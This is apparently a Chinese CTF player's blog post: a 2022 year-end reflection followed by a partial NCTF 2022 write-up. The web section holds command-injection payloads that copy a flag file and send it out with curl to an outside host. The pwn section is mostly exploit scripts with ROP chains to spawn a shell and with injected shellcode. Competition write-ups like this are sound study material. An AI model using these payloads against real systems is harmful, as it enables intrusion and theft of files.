Annual Summary of 2022 | Stay foolish.

前言

12月25日 圣诞节🎄 | 阳性后不再发烧的第一天

在朋友圈里看到了某密码👴的完美谢幕,突然感慨起来,想到跟自己同龄的师傅们也会慢慢退出视线,而自己也在前段时间答应过爸妈,今年一过应该是离退役不远了。确实,目前而言,有更为要紧的事——准备公考。(山东人对编制的执念🤔虽然我爸妈有时候不理解我在电脑前面一坐一天是如何“浪费时间”的,但他们对我打比赛还是大力支持的😊感谢!!!)年终总结,也算是给这两年急促的、胡乱的、潦草的CTF生涯画上一个分号了,为什么是分号呢,我后面也会提到。在这一年,也是有很多值得纪念的事情,值得在年末慢慢回味,只有记得日常中的美好,才能找到努力生活的意义。

我本来打算是12月31日写的,但随着年龄增长,加上这几天感染新冠后🧠一直隐隐作痛,觉得一天完成有点困难,大抵得要想一点写一点了,所以呢只好提前几天动手,不过问题不大。

前言就写这么多,写一个自我介绍收尾吧:大家好,我的ID是AndyNoel,一个会点儿WEB和Forensic的MISC菜狗,顺带写写自己大学生活的随笔。

两年之痒

20年入学,20年末开始接触网安圈子。两年之间,大大小小的比赛,早已记不清打了多少场了,只能依稀记得从最开始的2021年蓝帽杯,一天下来加上签到只会做三道题目,当时打比赛那就是坐牢,非常拉跨。到现在,自己虽然还是很菜,但也能慢慢开始AK一些比赛的MISC和Forensic了,当然也偶尔做做WEB。两年,时间不短,只要沉下心学习,实话讲这个时间长度完全能塑造自己引发质变了,但是很可惜,我还是太浮躁了,做不到耐心学习,所以还是经常被出题人暴杀。

加入联合战队后,大家经常一起去打打国际赛,看看世界平台,见识一下外国友人的实力,偶尔说不定还能为国争光啥的。战队里优秀的师傅很多,比赛的过程中、写文章的时候也逐渐认识了很多人,其中不乏有巨佬,能感受到大家都是那种很纯粹的网络安全研究员的气质,给我印象很深的有空白👴Ex师傅y4佬,crypt0n师傅,陈师傅等等。看大佬们在比赛中乱杀,更能认识到自身的渺小。

过了暑假便是大三了,下半年相比于上半年的稳步发展,过的更为折腾与魔幻,至今还有些许混乱,其一是自己凭借学到的网安知识和CTF比赛经验,赚到了自己的第一个W(一周以内就能赚到10000真的按捺不住心里的激动),顺便还出去玩了两把:

fe96d026633a9e82a0bf66dd638d614

后面的一些项目酬劳越来越丰厚,也就慢慢熟悉了这种感觉,也明白做事要愈发小心些。

其二是我自己的问题,把队伍搞ban了,真的很对不起队伍里的所有师傅们!对这个事情一直以来自己心里很愧疚。

但将行好事,莫要问前程。

每个人在刚刚接触一个陌生领域,尤其是一个酷炫、神秘,周围的内行人少之又少时,自己旺盛的表达分享欲根本无处安放,肆意在空间、朋友圈里,转发各种文章,发表各种奇奇怪怪的言论和代码,有了一点点的成绩后恨不得给每个好友面前炫耀一番(现在回头看真的是很羞耻的事情)。起初大家可能会很敬佩你,有一个警校朋友,还是“传说中搞网络安全的带黑阔”,给你疯狂点赞;但慢慢你就会发现,大家在你空间的互动越来越少,除了业内的师傅们,自己的亲朋好友根本不屑于搭理你:“这个人总是发这些看不懂的内容,叫什么呢?”很多人都是这么看我的,我自己也很清楚这件事,所以有段时间对这个一直心存芥蒂、耿耿于怀,当然,这么做的结果就是每晚睡眠质量急剧下降,严重的时候每天只能睡到1-3个小时。

但时过境迁,习惯了这种无力的孤独感之后就不感觉孤单了,只是偶尔会有些无聊。直到现在,我终于也能鼓起勇气对自己说,别在意了,每个人的人生根本没有那么多观众,我也没有必要去care别人的目光。

关于退役

关于这个,我想了很久,虽然我也答应过父母要学习,但是我真的不想现在就退出这个圈子,真的,来了现在这个学校,除了社团以外没有一点是值得留恋的。何况还有很多比赛的奖杯没有拿过,还有很多自己吹过的牛逼没有实现,怎么能甘心呢🤔?所以我还是想,再打上一个学期,等打完蓝帽和国赛,就真的正式退役了😀。

新的一年

不论是否相识,2023,祝看到这儿的你,天天开心,新年快乐,希望大家都能去奋力追求自己所爱的人和事。

希望我们都能够诚实地对待每一个当下,用每一个当下去触摸永恒,用每一个当下去做你应该做的事情,用每一个当下去爱你身边的人,用每一个当下去传递温暖,尤其在这样一个寒冷的冬天。

2ea5e521a30647f6dee16c149260bfb

有时候,我总感觉这个世界好像亏欠了我们什么东西,我想,那大概就是那张诗与远方的门票吧~
待到春暖花开之时,我一定会不远万里,前去光顾大家所经营的人间烟火,并献上我最真挚的祝福!

2022 NCTF Partly WriteUp | The Last Dance in this year

REVERSE

Cyberpunk

a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha

#include <stdio.h>
#include <stdlib.h>

int main() {
        unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
        uint8_t fuckres[42];
        for (int i = 0; i < 42; i++)
        {
                fuckres[i] = *(((char*)fuck) + i);
        }
        unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
        unsigned char flag[42];
        for (int i = 0; i < 42; i++)
        {
                flag[i] = *(((char*)fuck2) + i)-i;
                flag[i] ^= fuckres[i];
                printf("%c", flag[i]);
        }
}

ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解

from z3 import *

result = [
  0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8, 
  0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
  0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64, 
  0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
  0x75, 0x75, 0xB5, 0x33
]

for i in range(0, len(result), 2):
    x=BitVec('x', 8)
    y = BitVec('y', 8)
    s=Solver()
    s.add(x * 0x7e + y * 0x19 == result[i])
    s.add(x * 0x1f + y * 0x75 == result[i + 1])
    print(s.check())
    print((s.model()))

flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
    s += chr(i)
    print(s)

#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}

just run it

逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key

def decode(a):
    s=a.copy()
    s[0]=a[0]
    s[1]=a[1]
    s[2]=a[4]
    s[3]=a[8]
    s[4]=a[5]
    s[5]=a[2]
    s[6]=a[3]
    s[7]=a[6]
    s[8]=a[9]
    s[9]=a[12]
    s[10]=a[13]
    s[11]=a[10]
    s[12]=a[7]
    s[13]=a[11]
    s[14]=a[14]
    s[15]=a[15]
    return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
    out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
    print(chr(i),end='')

得到争取的key W1lc0menctf2o2o!

动调推出下面为SM4

box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'

其中最后sm4解密我用的是在线解密

ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto

signin

  1. MTP攻击后校正
  2. 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""

import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def attack(cipher):
    dat = []

    def getSpace(c):
        for index, x in enumerate(c):
            res = [xo.strxor(x, y) for y in c if x!=y]
            f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
            cnt = [f(pos) for pos in range(len(x))]
            for pos in range(len(x)):
                dat.append((f(pos), index, pos))

    def infer(index, pos):
        if msg[index, pos] != 0:
            return
        msg[index, pos] = ord(' ')
        for x in range(len(c)):
            if x != index:
                msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

    c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
    # print(c)

    msg = np.zeros([len(c), len(c[0])], dtype=int)

    getSpace(c)

    dat = sorted(dat)[::-1]
    for w, index, pos in dat:
        infer(index, pos)

    return [''.join([chr(c) for c in x]) for x in msg]

cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]

a1 = attack(c1)

c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
    print(a1[i],end='')
    print(a2[i], end='')

m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'

def sxor(b1, b2):
    ans = []
    for each in range(len(b1)):
        ans.append(b1[each] ^ b2[each])
    return bytes(ans)

tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)

print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
    if i % 2 == 0:
        key = tmp11
    else:
        key = tmp12
    c = b''.fromhex(C[i])
    len1 = len(c)
    if len1 != 16:
        key = key[:len1]
    msg += sxor(key, c).decode()

print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}

Coloratura

  • 随机数回溯恢复SourceImg(不足补零)
  • 异或得到flag
import sys

from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        tmp = list(img3.getpixel((j, i)))
        tmp = [int(tmp[k] ^ 0) for k in range(3)]  # 异或0
        s += tmp

s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]

from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
    predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)

_ = [predictor.backtrack_getrandbits(32) for _ in range(624)]  # 回溯到起始状态

ans = b''.join(s[-624:])

for i in range((129792 // 4)-624):
    tmp = predictor.backtrack_getrandbits(32)
    tmp = long_to_bytes(tmp)[::-1]
    tmp = list(tmp)
    if len(tmp) != 4:
        tmp = [0] + tmp
        # sys.exit()
    ans = bytes(tmp) + ans
def makeSourceImg():
    colors = ans
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
        img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}

dp_promax

dp_promax _revenge里有提示,factordb上可查,哈人

import gmpy2, libnum

n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}

misc

只因因

使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。

http://www.ncbi.nlm.nih.gov/BLAST/

image

Signin

炉边聚会

网上找的学习链接:

大神_游戏热爱者兴趣圈_游戏社区

炉石卡组代码解析

里面有现成的脚本,拼接起来,替换掉strings输出即可。

<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
    $shift = 0;
    $result = 0;
    do {
        $c = array_shift($data);
        $result |= ($c & 0x7f) << $shift;
        $shift += 7;
    }
    while ($c & 0x80);
    return $result;
}
function parse_deck($data) {
    $reserve = read_varint($data);
    if ($reserve != 0) {
        printf("Invalid deckstring");
        die;
    }
    $version = read_varint($data);
    if ($version != 1) {
        printf("Unsupported deckstring version %s", $version);
        die;
    }
    $format = read_varint($data);
    $heroes = [];
    $num_heroes = read_varint($data);
    for ($i = 0; $i < $num_heroes; $i++) {
        $heroes[] = read_varint($data);
    }
    $cards = [];
    $num_cards_x1 = read_varint($data);
    for ($i = 0; $i < $num_cards_x1; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 1];
    }
    $num_cards_x2 = read_varint($data);
    for ($i = 0; $i < $num_cards_x2; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 2];
    }
    $num_cards_xn = read_varint($data);
    for ($i = 0; $i < $num_cards_xn; $i++) {
        $card_id = read_varint($data);
        $count = read_varint($data);
        $cards[] = [$card_id, $count];
    }
    return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);

image

其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670

image

就是除以10然后正常拼接就行,字数不多可以手撕

image

qrssssssss

二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:

NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}

括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:

image

NCTF{737150-eeb-465-e91-110a8fb}

qrssssssss_revenge

这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH

所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:

image

image

然后按照掩码从0开始进行顺序拼接:

NCTF{621 
30783efd 
44b3692b 
4ddbecf}

拼接即可:NCTF{62130783efd44b3692b4ddbecf}

Signout

image

NCTF{Thanks_for_your_participation}

web

calc

这题是半个原题,过滤了#,但是没过滤',通过'''来闭合,进而执行命令

开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g,但还是读不了flag,因为名字里面有过滤字符

采取的办法,cp来绕过

/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27 

然后通过curl外带数据

/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27

参考文章

DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)

pwn

babyLinkedList

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

ezlink

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='debug')
        # self.pipe = process(['./ezlink'])
        self.pipe = remote('49.233.15.226', 8003)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendafter(b'secret', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        self.sendafter(b'content', content)

sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0') 
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))

for i in range(7):
    sh.add(b'\n')
sh.delete()

sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))

shellcode1 = asm('''

    mov edi, 1
    lea rsi, s1[rip]
    mov edx, 7
    mov eax, 1
    syscall

    xor edi, edi
    lea rsi, end[rip]
    mov edx, 0x200
    xor eax, eax
    syscall

    jmp end

s1:
    .string "Polaris"
end:
''')

shellcode2 = asm('''

    jmp start
puts:
    push rax
    push rdi
    push rsi
    push rdx
    push rbx
    xor eax, eax
puts_again:
    mov bl, byte ptr [rdi + rax]
    test bl, bl
    je puts_over
    inc eax
    jmp puts_again
puts_over:
    mov edx, eax
    mov rsi, rdi
    xor edi, edi
    inc edi
    mov eax, edi
    syscall

    xor eax, eax
    mov al, 9
    inc eax
    push rax
    mov rsi, rsp
    xor edi, edi
    inc edi
    mov edx, edi
    mov eax, edi
    syscall
    pop rax

    pop rbx
    pop rdx
    pop rsi
    pop rdi
    pop rax
    ret

start:
    mov r15d, 0x01010901
    sub r15d, 0x01010101
    add rsp, r15

    ;// mov rax, 0x10101010101676d
    ;// mov r15, 0x0101010101010101
    ;// sub rax, r15
    ;// push rax
    ;// mov rax, 0x65732f636f72702f
    ;// push rax
    ;// "/proc/self"

    ;// push 0x2e
    ;// "."

    push 0x2f
    ;// "/"

    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall  ;// open(path, O_RDONLY)
    push rax

    xor edi, edi
    mov esi, 0x01014101
    sub esi, 0x01010101
    mov edx, edi
    mov dl, 3
    mov r10d, 0x01010123
    sub r10d, 0x01010101
    mov r8d, edi
    inc r8d
    mov r9d, edi
    xor eax, eax
    mov al, 9
    syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)

    mov rsi, rax
    pop rdi
    mov edx, 0x01014101
    sub edx, 0x01010101
    mov eax, 0x010101da
    sub eax, 0x01010101
    syscall ;// getdents64(fd, buf, buf_size)

next_file:
    xor rax, rax
    mov ax, [rsi + 0x10] ;// d->d_reclen
    lea rdi, [rsi + 0x13] ;// d->d_name
    cmp dword ptr [rdi], 0x67616c66
    jz puts_flag
    call puts ;// puts(d->d_name)
    add rsi, rax
    mov rax, [rsi]
    test rax, rax
    jne next_file

    exit:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

puts_flag:
    mov rsi, rdi
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.add(flat([
    0, 
    libc_addr + 0x000000000002a3e5,
    (stack_addr & (~0xfff)),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + shellcode1)

sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)

sh.interactive()

ezshellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        # self.pipe = remote('localhost', 9999)
        self.pipe = remote('121.4.15.155', 9999)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

def ptrace_hook(_pid):
    _sh = Shell()
    shellcode = asm(f'''

        mov edi, 16 ;// PTRACE_ATTACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        ;// get_image_addr
        sub rsp, 232
        mov esi, {_pid}
        xor edx, edx
        mov edi, 12
        mov r10, rsp
        xor r8d, r8d
        xor r9d, r9d
        l1:
        mov eax, 101
        syscall
        cmp rax, 0
        jl l1

        mov rax, QWORD PTR 40[rsp]
        add rsp, 232
        sub rax, 4928

        mov edi, 5 ;// PTRACE_POKEDATA
        mov esi, {_pid}
        lea rdx, [rax + 0x4050]
        mov r10, rax
        add r10, 0x1333
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, 17 ;// PTRACE_DETACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, {_pid}
        mov esi, 18
        mov eax, 62
        syscall

    exit:
        xor edi, edi
        mov eax, 231
        syscall ;// exit

    ''')
    _sh.recvuntil(b'\n')
    # pause()
    _sh.send(shellcode)
    _sh.close()

